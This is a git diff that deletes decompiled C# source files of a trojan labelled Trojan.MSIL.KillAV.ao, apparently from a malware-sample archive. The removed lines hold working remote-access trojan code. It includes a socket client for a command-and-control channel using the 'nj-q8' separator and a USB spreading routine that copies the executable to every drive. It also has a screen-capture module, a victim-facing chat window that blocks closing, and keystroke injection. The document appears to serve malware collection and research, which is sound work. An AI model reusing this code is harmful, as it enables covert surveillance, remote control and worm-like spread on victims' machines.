b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/SocketsClient.cs deleted file mode 100644 index 2f9cc0d1..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/SocketsClient.cs +++ /dev/null @@ -1,325 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.SocketsClient -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using n.My; -using System; -using System.IO; -using System.Net; -using System.Net.Sockets; -using System.Runtime.CompilerServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - public class SocketsClient - { - private static string response = string.Empty; - private static int port; - private static IPHostEntry ipHostInfo; - private static IPAddress ipAddress; - private static Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - private byte[] Spl; - public static Thread TH; - - public SocketsClient() => this.Spl = this.STB("nj-q8"); - - public void AT(byte[] D) - { - MyProject.MyForms forms = MyProject.Forms; - Form b = (Form) forms.B; - n.Delegates.T.T.appendText(ref b, ref D); - forms.B = (B) b; - } - - public event SocketsClient.onConnectEventHandler onConnect; - - public event SocketsClient.onErrorEventHandler onError; - - public event SocketsClient.onDataArrivalEventHandler onDataArrival; - - public event SocketsClient.onDisconnectEventHandler onDisconnect; - - public event SocketsClient.onSendCompleteEventHandler onSendComplete; - - public void Connect(string RemoteHostName, int RemotePort) - { - try - { - SocketsClient.client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - SocketsClient.port = RemotePort; - SocketsClient.ipHostInfo = Dns.Resolve(RemoteHostName); - SocketsClient.ipAddress = SocketsClient.ipHostInfo.AddressList[0]; - IPEndPoint remoteEP = new IPEndPoint(SocketsClient.ipAddress, SocketsClient.port); - SocketsClient.client.BeginConnect((EndPoint) remoteEP, new AsyncCallback(this.sockConnected), (object) SocketsClient.client); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - SocketsClient.onDisconnectEventHandler onDisconnectEvent = this.onDisconnectEvent; - if (onDisconnectEvent != null) - onDisconnectEvent(); - ProjectData.ClearProjectError(); - } - } - - public void SendData(byte[] Data) - { - try - { - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Data, 0, Data.Length); - memoryStream.Write(this.Spl, 0, this.Spl.Length); - memoryStream.ToArray(); - SocketsClient.client.Send(memoryStream.ToArray(), memoryStream.ToArray().Length, SocketFlags.None); - memoryStream.Dispose(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void Disconnect() - { - try - { - SocketsClient.client.Shutdown(SocketShutdown.Both); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - SocketsClient.client.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public byte[] STB(string Data) => Encoding.Default.GetBytes(Data); - - public string BTS(byte[] Data) => Encoding.Default.GetString(Data); - - private void sockConnected(IAsyncResult ar) - { - try - { - if (!SocketsClient.client.Connected) - { - SocketsClient.onDisconnectEventHandler onDisconnectEvent = this.onDisconnectEvent; - if (onDisconnectEvent == null) - return; - onDisconnectEvent(); - } - else - { - SocketsClient.client.ReceiveBufferSize = 99999; - SocketsClient.client.ReceiveTimeout = -1; - SocketsClient.client.SendTimeout = -1; - SocketsClient.onConnectEventHandler onConnectEvent; - while (true) - { - do - { - Thread.Sleep(1); - if (SocketsClient.TH == null) - SocketsClient.TH = new Thread(new ThreadStart(this.DDD)); - if (SocketsClient.TH.ThreadState == ThreadState.Aborted | SocketsClient.TH.ThreadState == ThreadState.Unstarted | SocketsClient.TH.ThreadState == ThreadState.Stopped) - { - SocketsClient.TH = new Thread(new ThreadStart(this.DDD)); - SocketsClient.TH.Start(); - onConnectEvent = this.onConnectEvent; - if (onConnectEvent == null) - goto label_15; - else - goto label_11; - } - } - while (SocketsClient.TH.ThreadState != ThreadState.Running); - SocketsClient.TH.Abort(); - } -label_15: - return; -label_11: - onConnectEvent(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - SocketsClient.onDisconnectEventHandler onDisconnectEvent = this.onDisconnectEvent; - if (onDisconnectEvent != null) - onDisconnectEvent(); - ProjectData.ClearProjectError(); - } - } - - public Array fx(ref byte[] buf) - { - Array[] arrayArray = new Array[2]; - MemoryStream memoryStream1 = new MemoryStream(); - string Right = "nj-q8"; - byte[] bytes = new byte[5]; - int num = checked (buf.Length - Right.Length); - int count = 0; - Array array; - while (count <= num) - { - bytes[0] = buf[count]; - bytes[1] = buf[checked (count + 1)]; - bytes[2] = buf[checked (count + 2)]; - bytes[3] = buf[checked (count + 3)]; - bytes[4] = buf[checked (count + 4)]; - if (Operators.CompareString(Encoding.Default.GetString(bytes), Right, false) == 0) - { - memoryStream1.Dispose(); - MemoryStream memoryStream2 = new MemoryStream(); - MemoryStream memoryStream3 = new MemoryStream(); - memoryStream2.Write(buf, 0, count); - if (checked (count + 5) != buf.Length) - { - memoryStream3.Write(buf, checked (count + 5), checked (buf.Length - count + 5)); - array = (Array) new object[2] - { - (object) memoryStream2.ToArray(), - (object) memoryStream3.ToArray() - }; - break; - } - array = (Array) new object[1] - { - (object) memoryStream2.ToArray() - }; - break; - } - checked { ++count; } - } - return array; - } - - public void DDD() - { - MemoryStream memoryStream = new MemoryStream(); -label_1: - int num; - checked { ++num; } - Thread.Sleep(5); - try - { - if (num > 200) - { - try - { - if (SocketsClient.client.Poll(-1, SelectMode.SelectRead) & SocketsClient.client.Available <= 0) - { - MyProject.Forms.B.Dis(); - return; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - MyProject.Forms.B.Dis(); - ProjectData.ClearProjectError(); - return; - } - num = 0; - } - if (SocketsClient.client.Available > 0) - { - byte[] buffer = new byte[checked (SocketsClient.client.Available - 1 + 1)]; - SocketsClient.client.Receive(buffer, buffer.Length, SocketFlags.None); - memoryStream.Write(buffer, 0, buffer.Length); - while (true) - { - if (Strings.InStr(this.BTS(memoryStream.ToArray()), "nj-q8") > 0) - { - byte[] array = memoryStream.ToArray(); - Array Instance = this.fx(ref array); - new Thread((ParameterizedThreadStart) (a0 => this.EFE((byte[]) a0))).Start(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null))); - memoryStream = new MemoryStream(); - if (Instance.Length == 2) - memoryStream.Write((byte[]) NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null), 0, Conversions.ToInteger(NewLateBinding.LateGet(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null), (System.Type) null, "length", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null))); - else - goto label_1; - } - else - goto label_1; - } - } - else - goto label_1; - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - try - { - MyProject.Forms.B.Dis(); - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - } - - public void EFE(byte[] B) - { - SocketsClient.onDataArrivalEventHandler dataArrivalEvent = this.onDataArrivalEvent; - if (dataArrivalEvent == null) - return; - dataArrivalEvent(B, checked (B.Length - 1)); - } - - public bool Connected() - { - bool flag; - try - { - flag = SocketsClient.client.Connected; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - flag = false; - ProjectData.ClearProjectError(); - } - return flag; - } - - public delegate void onConnectEventHandler(); - - public delegate void onErrorEventHandler(string Description); - - public delegate void onDataArrivalEventHandler(byte[] Data, int TotalBytes); - - public delegate void onDisconnectEventHandler(); - - public delegate void onSendCompleteEventHandler(int DataSize); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/USB.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/USB.cs deleted file mode 100644 index 5f12ae55..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/USB.cs +++ /dev/null @@ -1,57 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.USB -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.IO; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - [StandardModule] - public sealed class USB - { - public static void USb(string S) - { - while (true) - { - Thread.Sleep(5000); - try - { - DriveInfo[] drives = DriveInfo.GetDrives(); - int index = 0; - while (index < drives.Length) - { - DriveInfo driveInfo = drives[index]; - if (driveInfo.IsReady) - { - if (driveInfo.TotalFreeSpace > 0L) - { - try - { - File.Copy(Application.ExecutablePath, driveInfo.Name + S, true); - File.SetAttributes(driveInfo.Name + S, FileAttributes.Normal); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - checked { ++index; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/chat.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/chat.cs deleted file mode 100644 index b119a72f..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/chat.cs +++ /dev/null @@ -1,317 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.chat -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using n.My; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Runtime.CompilerServices; -using System.Windows.Forms; - -namespace n -{ - [DesignerGenerated] - public class chat : Form - { - private IContainer components; - [AccessedThroughProperty("T2")] - private TextBox _T2; - [AccessedThroughProperty("B1")] - private Button _B1; - [AccessedThroughProperty("Timer1")] - private Timer _Timer1; - [AccessedThroughProperty("T1")] - private RichTextBox _T1; - public static bool clos; - public string nick; - - public chat() - { - this.MaximizedBoundsChanged += new EventHandler(this.chat_MaximizedBoundsChanged); - this.SizeChanged += new EventHandler(this.chat_SizeChanged); - this.Load += new EventHandler(this.chat_Load); - this.FormClosing += new FormClosingEventHandler(this.chat_FormClosing); - this.Resize += new EventHandler(this.chat_Resize); - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.components = (IContainer) new System.ComponentModel.Container(); - this.T2 = new TextBox(); - this.B1 = new Button(); - this.Timer1 = new Timer(this.components); - this.T1 = new RichTextBox(); - this.SuspendLayout(); - this.T2.BackColor = SystemColors.WindowText; - this.T2.ForeColor = SystemColors.InactiveCaption; - TextBox t2_1 = this.T2; - Point point1 = new Point(12, 364); - Point point2 = point1; - t2_1.Location = point2; - this.T2.Name = "T2"; - TextBox t2_2 = this.T2; - Size size1 = new Size(450, 20); - Size size2 = size1; - t2_2.Size = size2; - this.T2.TabIndex = 2; - this.B1.FlatStyle = FlatStyle.Flat; - Button b1_1 = this.B1; - point1 = new Point(468, 364); - Point point3 = point1; - b1_1.Location = point3; - this.B1.Name = "B1"; - Button b1_2 = this.B1; - size1 = new Size(133, 23); - Size size3 = size1; - b1_2.Size = size3; - this.B1.TabIndex = 3; - this.B1.Text = "Send"; - this.B1.UseVisualStyleBackColor = true; - this.Timer1.Enabled = true; - this.T1.BackColor = SystemColors.WindowText; - this.T1.ForeColor = SystemColors.InactiveCaption; - RichTextBox t1_1 = this.T1; - point1 = new Point(12, 12); - Point point4 = point1; - t1_1.Location = point4; - this.T1.Name = "T1"; - this.T1.ReadOnly = true; - RichTextBox t1_2 = this.T1; - size1 = new Size(450, 346); - Size size4 = size1; - t1_2.Size = size4; - this.T1.TabIndex = 4; - this.T1.Text = ""; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.BackColor = SystemColors.InactiveCaptionText; - size1 = new Size(476, 227); - this.ClientSize = size1; - this.Controls.Add((Control) this.T1); - this.Controls.Add((Control) this.B1); - this.Controls.Add((Control) this.T2); - this.Name = nameof (chat); - this.ShowIcon = false; - this.StartPosition = FormStartPosition.CenterScreen; - this.Text = nameof (chat); - this.ResumeLayout(false); - this.PerformLayout(); - } - - internal virtual TextBox T2 - { - get => this._T2; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.T2_TextChanged); - KeyPressEventHandler pressEventHandler = new KeyPressEventHandler(this.T2_KeyPress); - if (this._T2 != null) - { - this._T2.TextChanged -= eventHandler; - this._T2.KeyPress -= pressEventHandler; - } - this._T2 = value; - if (this._T2 == null) - return; - this._T2.TextChanged += eventHandler; - this._T2.KeyPress += pressEventHandler; - } - } - - internal virtual Button B1 - { - get => this._B1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.B1_Click); - if (this._B1 != null) - this._B1.Click -= eventHandler; - this._B1 = value; - if (this._B1 == null) - return; - this._B1.Click += eventHandler; - } - } - - internal virtual Timer Timer1 - { - get => this._Timer1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer1_Tick); - if (this._Timer1 != null) - this._Timer1.Tick -= eventHandler; - this._Timer1 = value; - if (this._Timer1 == null) - return; - this._Timer1.Tick += eventHandler; - } - } - - internal virtual RichTextBox T1 - { - get => this._T1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.T1_TextChanged); - if (this._T1 != null) - this._T1.TextChanged -= eventHandler; - this._T1 = value; - if (this._T1 == null) - return; - this._T1.TextChanged += eventHandler; - } - } - - private void chat_FormClosing(object sender, FormClosingEventArgs e) - { - if (chat.clos) - return; - e.Cancel = true; - } - - private void chat_Resize(object sender, EventArgs e) => this.fx(); - - private void chat_MaximizedBoundsChanged(object sender, EventArgs e) => this.fx(); - - public void fx() - { - try - { - this.T1.Width = checked (this.Width - 40); - this.T2.Width = checked (this.B1.Left - 20); - this.T2.Top = checked (this.Height - this.T2.Height - 50); - this.T1.Height = checked (this.T2.Top - 20); - this.B1.Left = checked (this.T1.Width - this.B1.Width + 12); - this.B1.Top = checked (this.T2.Top - 3); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void T2_KeyPress(object sender, KeyPressEventArgs e) - { - if (Strings.Asc(e.KeyChar) != 13) - return; - try - { - if (this.T2.Text.Length <= 0) - return; - B b = MyProject.Forms.B; - string y = IND.Y; - TextBox t2 = this.T2; - string text = t2.Text; - string str1 = API.ENB(ref text); - t2.Text = text; - string str2 = "#21" + y + str1; - ref string local = ref str2; - b.SEND(ref local); - RichTextBox t1 = this.T1; - t1.Text = t1.Text + "Me : " + this.T2.Text + "\r\n"; - this.T2.Text = ""; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void chat_SizeChanged(object sender, EventArgs e) => this.fx(); - - private void chat_Load(object sender, EventArgs e) - { - try - { - B b = MyProject.Forms.B; - string str = "#20"; - ref string local = ref str; - b.SEND(ref local); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.TopMost = true; - this.Show(); - } - - private void B1_Click(object sender, EventArgs e) - { - try - { - if (this.T2.Text.Length <= 0) - return; - B b = MyProject.Forms.B; - string y = IND.Y; - TextBox t2 = this.T2; - string text = t2.Text; - string str1 = API.ENB(ref text); - t2.Text = text; - string str2 = "#21" + y + str1; - ref string local = ref str2; - b.SEND(ref local); - RichTextBox t1 = this.T1; - t1.Text = t1.Text + "Me : " + this.T2.Text + "\r\n"; - this.T2.Text = ""; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void T2_TextChanged(object sender, EventArgs e) - { - } - - private void Timer1_Tick(object sender, EventArgs e) - { - if (!chat.clos) - return; - this.Close(); - } - - private void T1_TextChanged(object sender, EventArgs e) - { - try - { - this.T1.SelectionStart = checked (this.T1.Text.Length - 1); - this.T1.ScrollToCaret(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/chat.resx b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/chat.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/chat.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/keyboard.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/keyboard.cs deleted file mode 100644 index 0fe0dd78..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/keyboard.cs +++ /dev/null @@ -1,81 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.keyboard -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace n -{ - [StandardModule] - public sealed class keyboard - { - public static void click(int i, Keys key) - { - keyboard.INPUT pInputs = new keyboard.INPUT(); - keyboard.KEYBDINPUT keybdinput = new keyboard.KEYBDINPUT(); - pInputs.dwType = keyboard.InputType.Keyboard; - pInputs.ki = keybdinput; - pInputs.ki.wVk = Convert.ToInt16((int) key); - pInputs.ki.wScan = (short) 0; - pInputs.ki.time = 0; - pInputs.ki.dwFlags = (keyboard.KEYEVENTF) i; - pInputs.ki.dwExtraInfo = IntPtr.Zero; - int cbSize = Marshal.SizeOf(typeof (keyboard.INPUT)); - if (keyboard.SendInput(1, ref pInputs, cbSize) != 0) - ; - } - - [DllImport("user32.dll", SetLastError = true)] - internal static extern int SendInput(int cInputs, ref keyboard.INPUT pInputs, int cbSize); - - [StructLayout(LayoutKind.Explicit, Size = 28, Pack = 1)] - internal struct INPUT - { - [FieldOffset(0)] - public keyboard.InputType dwType; - [FieldOffset(4)] - public keyboard.KEYBDINPUT ki; - [FieldOffset(4)] - public keyboard.HARDWAREINPUT hi; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - internal struct KEYBDINPUT - { - public short wVk; - public short wScan; - public keyboard.KEYEVENTF dwFlags; - public int time; - public IntPtr dwExtraInfo; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - internal struct HARDWAREINPUT - { - public int uMsg; - public short wParamL; - public short wParamH; - } - - internal enum InputType - { - Mouse, - Keyboard, - Hardware, - } - - [Flags] - internal enum KEYEVENTF - { - EXTENDEDKEY = 1, - KEYUP = 2, - UNICODE = 4, - SCANCODE = 8, - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/sc.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/sc.cs deleted file mode 100644 index 5ab1e8bf..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/sc.cs +++ /dev/null @@ -1,185 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.sc -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic.CompilerServices; -using n.My; -using System; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Windows.Forms; - -namespace n -{ - [StandardModule] - internal sealed class sc - { - public static string HW = ""; - private static bool _0; - private static int H; - private static int W; - private static int HH; - private static int WW; - - public static string HWD() - { - if (sc.HW.Length > 0) - return sc.HW; - try - { - byte[] hwd = n.My.Resources.Resources.HWD; - bool flag = false; - ref bool local1 = ref flag; - byte[] numArray = API.ZIP(hwd, ref local1); - ref byte[] local2 = ref numArray; - string str1 = "n.C"; - ref string local3 = ref str1; - string str2 = nameof (HWD); - ref string local4 = ref str2; - object obj = (object) null; - ref object local5 = ref obj; - sc.HW = Conversions.ToString(C.inv(ref local2, ref local3, ref local4, ref local5)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - sc.HW = "Er"; - ProjectData.ClearProjectError(); - } - return sc.HW; - } - - public static byte[] gc(ref int Q) - { - if (!sc._0) - { - sc._0 = true; - sc.H = MyProject.Computer.Screen.Bounds.Height; - sc.W = MyProject.Computer.Screen.Bounds.Width; - } - int num; - switch (Q) - { - case 0: - num = 30; - sc.HH = 1; - sc.WW = 1; - break; - case 1: - num = 25; - sc.HH = 1; - sc.WW = 1; - break; - case 2: - num = 20; - sc.HH = 1; - sc.WW = 1; - break; - case 3: - num = 65; - sc.HH = 2; - sc.WW = 2; - break; - case 4: - num = 50; - sc.HH = 2; - sc.WW = 2; - break; - case 5: - num = 70; - sc.HH = 3; - sc.WW = 3; - break; - case 6: - num = 40; - sc.HH = 3; - sc.WW = 3; - break; - case 7: - num = 50; - sc.HH = 4; - sc.WW = 4; - break; - case 8: - num = 50; - sc.HH = 5; - sc.WW = 5; - break; - case 9: - num = 50; - sc.HH = 6; - sc.WW = 6; - break; - case 10: - num = 50; - sc.HH = 9; - sc.WW = 9; - break; - } - MemoryStream memoryStream = new MemoryStream(); - EncoderParameters encoderParams = new EncoderParameters(1); - encoderParams.Param[0] = new EncoderParameter(Encoder.Quality, (long) num); - ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg"); - sc.Gd(checked ((int) Math.Round(unchecked ((double) sc.W / (double) sc.WW))), checked ((int) Math.Round(unchecked ((double) sc.H / (double) sc.HH)))).Save((Stream) memoryStream, encoderInfo, encoderParams); - return memoryStream.ToArray(); - } - - public static ImageCodecInfo GetEncoderInfo(string M) - { - ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); - int length = imageEncoders.Length; - int index = 0; - while (index <= length) - { - if (Operators.CompareString(imageEncoders[index].MimeType, M, false) == 0) - return imageEncoders[index]; - checked { ++index; } - } - return (ImageCodecInfo) null; - } - - public static Image Gd(int Wi = 0, int He = 0, bool Sh = true) - { - Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); - Graphics graphics1 = Graphics.FromImage((Image) bitmap); - Graphics graphics2 = graphics1; - Size size1; - ref Size local1 = ref size1; - int width = Screen.PrimaryScreen.Bounds.Width; - Rectangle bounds = Screen.PrimaryScreen.Bounds; - int height = bounds.Height; - local1 = new Size(width, height); - Size blockRegionSize = size1; - graphics2.CopyFromScreen(0, 0, 0, 0, blockRegionSize, CopyPixelOperation.SourceCopy); - if (Sh) - { - try - { - Cursor cursor = Cursors.Default; - Graphics g = graphics1; - ref Rectangle local2 = ref bounds; - Point position = Cursor.Position; - size1 = new Size(32, 32); - Size size2 = size1; - local2 = new Rectangle(position, size2); - Rectangle targetRect = bounds; - cursor.Draw(g, targetRect); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - graphics1.Dispose(); - if (Wi == 0 & He == 0) - return (Image) bitmap; - Image thumbnailImage = bitmap.GetThumbnailImage(Wi, He, (Image.GetThumbnailImageAbort) null, IntPtr.Zero); - bitmap.Dispose(); - return thumbnailImage; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/AssemblyInfo.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/AssemblyInfo.cs deleted file mode 100644 index e6ae72df..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyProduct("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyTrademark("")] -[assembly: ComVisible(false)] -[assembly: AssemblyCopyright("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyFileVersion("0.0.0.0")] -[assembly: Guid("22e4b050-4231-4e7e-b7f4-3aea55166ef2")] -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MyApplication.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MyApplication.cs deleted file mode 100644 index b072158d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nv.My.MyApplication -// Assembly: nv, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D9D26A5E-13B6-4DC4-B014-052E2F5FE723 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace nv.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ConsoleApplicationBase - { - } -} diff --git 